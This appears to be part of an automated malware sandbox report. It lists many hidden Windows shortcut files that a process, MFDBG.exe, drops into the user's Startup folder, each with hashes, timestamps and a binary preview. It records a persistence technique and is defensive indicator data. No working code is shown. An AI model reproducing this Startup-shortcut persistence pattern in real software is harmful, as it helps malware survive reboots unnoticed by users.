File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921477031948563
Encrypted:	false
SSDEEP:	24:8CBftAp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8w1FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A37BFD1EEFDDC7B80E9B9BFE0333609B
SHA1:	020363C9E0F53A04E0B8E2F3866963382229A630
SHA-256:	A3523D3503AFF4A68A8A7BC8DC3A972F8BD62C85F274D46E3594918A2B75AA8A
SHA-512:	F933622A916EC5AAA0804742B7CCB1D06C0B98BFB6B5BB206B5701BEC5932A74561D9C1618A70AB5B463FED3D52AAB1628C3B74C19FC2CA2361565DECF3763C4
Malicious:	false
Preview:	L..................F....".......d...6.b.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...vF].d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_58c29fcf7d974eb1ace4c8f81c3a58dc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920648863970871
Encrypted:	false
SSDEEP:	24:8TBff8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8VcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E467E3EE12AD79AEB891303D416DE3AF
SHA1:	FA62726F2C4E5BC29B56B582B34A6FDA26773FFA
SHA-256:	478F72FC2CFF6EE10775C6AE7872BF2AA5E658BEF00B7839DD55146763C0476C
SHA-512:	78D64BED67DB93B79F0784E3E9065C549D1522F84DB13ECA7523646CEA745E83BD0BA192D7DE37FA0F03AE04E553CEEB5F5590C277F04643FFCCE564F3FBFC30
Malicious:	false
Preview:	L..................F....".......d.....d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...U!..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_58c42a545d564e27969ab9dce5770b51.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923775626104468
Encrypted:	false
SSDEEP:	24:8OBfyf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8kjEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5673BAB6D3749292CC941EC66FB5BDC8
SHA1:	DE12ECFF926165F45B9A6BDF75396AF10A73466E
SHA-256:	90A668C50FF61F8E3194274DBE15C6946A5CB8A514C1E2EE41CA38B9C42B7238
SHA-512:	BC3F730BE65FF6F81DBD27AF1F8960EC9D820BF32E7E4E24D04BCB6A92EE8C5BCCF225173B656F086498400CF2E81A61EAFF98868D70AC7C939F139D36C36775
Malicious:	false
Preview:	L..................F....".......d....K.[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....K.[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5949de9e80e0426d92467ac614e9b016.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928991855748545
Encrypted:	false
SSDEEP:	24:8D3Bfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8959EvZ0yRO7DLO2zdxdRd1kyg
MD5:	AE3BE4C7EB8B39329FA483C8F781C0DD
SHA1:	B11761D795E0F1D92BA0F88737A78011E907BBDE
SHA-256:	D4300AAA9DC869F1C6ED949B7D31A580D13E87B913A7422A7163AEFC587623EE
SHA-512:	BC297ADA401066969F8A7AE2E9E064CDF431A106D13CCF0A96F022E6464940E4F7B48C496DB8F1834825FA1AADFBB549A9AF9341002C0A8F47724BA90F7E87C5
Malicious:	false
Preview:	L..................F....".......d...m.>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5950010671114ca3bec92a90e3030742.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923022539785285
Encrypted:	false
SSDEEP:	24:8ZBfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8DIEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F1AF50895E79284779469424F2648062
SHA1:	A82172441984ADFADE8A858DCE239D1335850C0C
SHA-256:	4FC12B8908910E43A81988EB7743741D5F07ACE484A91F85C6B1084711347749
SHA-512:	2C43500800BD96E86A4847954A18609DB8999FB40211CAC867B702B954B16495F2CDC179E3CF07FEA4D3642B528DBCACA4EFD80CC3D788FF9D821798F6D5D674
Malicious:	false
Preview:	L..................F....".......d.....".d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....".d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_596a51c75b284245b6d7fb1774bfd335.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917927357107577
Encrypted:	false
SSDEEP:	24:8JBfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8zMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	761865F1E2488C2D2AC77B4F2CFD9AE6
SHA1:	B0D9BB06413551D6D5998E89069DBBD41E4E38C6
SHA-256:	84AF3DAC405BB11C6FBEF44997784F43252D4DB65EB32A15708149C0F5217F51
SHA-512:	7D58B8DD7540D5EE584D6E00D6C5241589185FFD5C0978DC8F8CD3A6C8EF9ECD00CFF530122E8B55704DFDC442A69E4EBBCB9A44E06908B749685604594B4FB7
Malicious:	false
Preview:	L..................F....".......d...,c?[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....1[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5987ffc54a344d27bd05434e61b1e5f0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92663475605851
Encrypted:	false
SSDEEP:	24:8bBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NyQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B56D066DFBCCBC6167048D56BBEC2FE7
SHA1:	A2B00C3BD805A85CD411173C3D5B088315EFE88D
SHA-256:	B6823F09D4289DC4F4DC76C5CADA7D54735482008B51D5D659291BBA58C8FD9B
SHA-512:	746123690BDB5D51B0DD41338F78D2D20E1A13DD701CA97149E7C74DE92AF1DAF37CAFED5FCAA598BEBA30B4FBF9E50FCA2495C053DC6690BB6FCD67092C5DD9
Malicious:	false
Preview:	L..................F....".......d....O.%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_59a1cababd08434283bbe01f6817b75e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928630053421057
Encrypted:	false
SSDEEP:	24:8nuBfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8EIEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FE8881BEA51CF8FBB5EE0483BBC3C5EB
SHA1:	1C8E1CFE4E83F260429237C3B23C0C4E76A7AE4B
SHA-256:	0A93E9336A70861A5D7487B660DFBA4336FD60D8ECEB783E9500D97FEECF00D7
SHA-512:	2856ABAEB60FC744B3775E0CB7889A98FA341CDA219A1B3A459F740EB6732D3E7300B6368C85661A00B42107A55D4F25E547CEFA05DC2B4A48FB04E99B2A62D0
Malicious:	false
Preview:	L..................F....".......d......\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...]/.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_59b3e256cf10419ab486cfc454574ff6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927930504945753
Encrypted:	false
SSDEEP:	24:8cBfC8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SnEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BEB12C2747D530931AF024F78ED15DE8
SHA1:	CF758B1F098AA5A13A8B4FFF9CFFBBAB8CCDB0FB
SHA-256:	CF9FEC7365798F1FC0300A7B121BECACC87F849EDF7232F826EC64DE7F3CDB85
SHA-512:	4F08DEF030DEE035F9BF915F4D31FF745C54616E79151C35D6C4ADA36EBCDBFA9BDCF8643F42E766D99F6E0C689FD4564BB0C9B26E691034F7DB39522E4A6263
Malicious:	false
Preview:	L..................F....".......d.....$.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5a028a702a6640f7acff7c2467323130.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:09 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923022539785287
Encrypted:	false
SSDEEP:	24:85OBf08EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:825EvZ0yRO7DLO2zdxdRd1kyg
MD5:	BC76868C88FA48A1697DB5AF222141EF
SHA1:	608EA470B13B1D7405C177E7A6AB0D4EF94EFD21
SHA-256:	ADE98E1BE09125526DDBD8195FA98D4B205B9BFCB76729E0D50C3656D434FE7D
SHA-512:	0E175551035233764DB3D9D009FEF917F04DA11127C964D54616B456A9D95D19CA365594F9E4B6D517A467E40D85B30EFC7A76F06DD4E4ACAA7892354B5106FF
Malicious:	false
Preview:	L..................F....".......d...;#."d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...;#."d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5aa59bdb4e6d437fbffe16ea04a20d06.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.914362631265963
Encrypted:	false
SSDEEP:	24:8sTBfR8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8E+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	ADC8CD12705FB377185BB593533EDD0F
SHA1:	AF83FD7BA4A70ECFAA92A39067E9951E5FDEB6B8
SHA-256:	B8F16B330F2A4DBA16C6440A7AB8B7C49F0FDE580CD567CCB7C9CC3316BA6560
SHA-512:	9C9A899F8483858571C8125C1E754F3028F3AFABE5785768E9E2D021B81B1DBBE096669E1F5D2CDE33D73F0DC99E93EE688677B30C96DC962068A4B3319DF378
Malicious:	false
Preview:	L..................F....".......d....e.$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...b..#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5b92f74bd97942aaa30df068d6f5516f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924872641521065
Encrypted:	false
SSDEEP:	24:8lQBfiD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8leaQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3C8A03376B353D2922C8799CE18550C3
SHA1:	4191D05222AF0BEC1371023CDF5E00DFC94CE66E
SHA-256:	C9EFE97CBDCAD5FF541ACC7C410098AD5C634DB6B8E242D042D0E0FEE6AC6001
SHA-512:	B65221F56696AB5A4CB83C990F18AF07A2C41DA268C656C31FA1335D945194D02A5D6F41DF1A58049AD5F70236B7A8B486A753878EF7386DA91E8125653DE3EF
Malicious:	false
Preview:	L..................F....".......d...@..:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...R..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5bbb0dc5e1d54152a78fd9850f5eefd7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923741176750014
Encrypted:	false
SSDEEP:	24:8d+2Bfm8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8d+8zEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3605F8814AAD93D49FB6FB5BCA6D2E73
SHA1:	511814946F8E7E68A4D05D799157D94C54483771
SHA-256:	1B7312EA3D36BC361ADA27B381A00F232713F1C6AAEEBAA2A3E0438845FE319D
SHA-512:	DF30D265F71BF5321B15A00166A7D18123E835B27E5FDC399174CC1D1F908E7E01AF50A941B95A889C83CA9FC26C679BDBEC47B00C28EA7CEFFD185EBDE8D7B7
Malicious:	false
Preview:	L..................F....".......d...../'d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5bf3aa43aa3a46a7a07aa463eb27e702.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
